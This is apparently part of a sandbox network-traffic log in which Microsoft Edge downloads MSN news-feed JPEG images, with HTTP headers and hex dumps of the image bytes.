2024-11-16 18:22:32 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-16 18:22:32 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-16 18:22:33 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-16 18:22:33 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49864	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:32 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP Last-Modified: Mon, 04 Nov 2024 01:33:41 GMT X-Source-Length: 59155 X-Datacenter: eastus X-ActivityId: d662e24d-01e5-485f-8cb9-36d351447fcf Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 59155 Cache-Control: public, max-age=112207 Expires: Mon, 18 Nov 2024 01:32:39 GMT Date: Sat, 16 Nov 2024 18:22:32 GMT Connection: close
2024-11-16 18:22:32 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-11-16 18:22:33 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-11-16 18:22:33 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49865	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:32 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 15:48:46 GMT X-Datacenter: westus X-ActivityId: f15c9464-994c-44d5-a2e9-ca5fd8e3b90f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=422692 Expires: Thu, 21 Nov 2024 15:47:24 GMT Date: Sat, 16 Nov 2024 18:22:32 GMT Connection: close
2024-11-16 18:22:32 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-11-16 18:22:33 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-16 18:22:33 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: 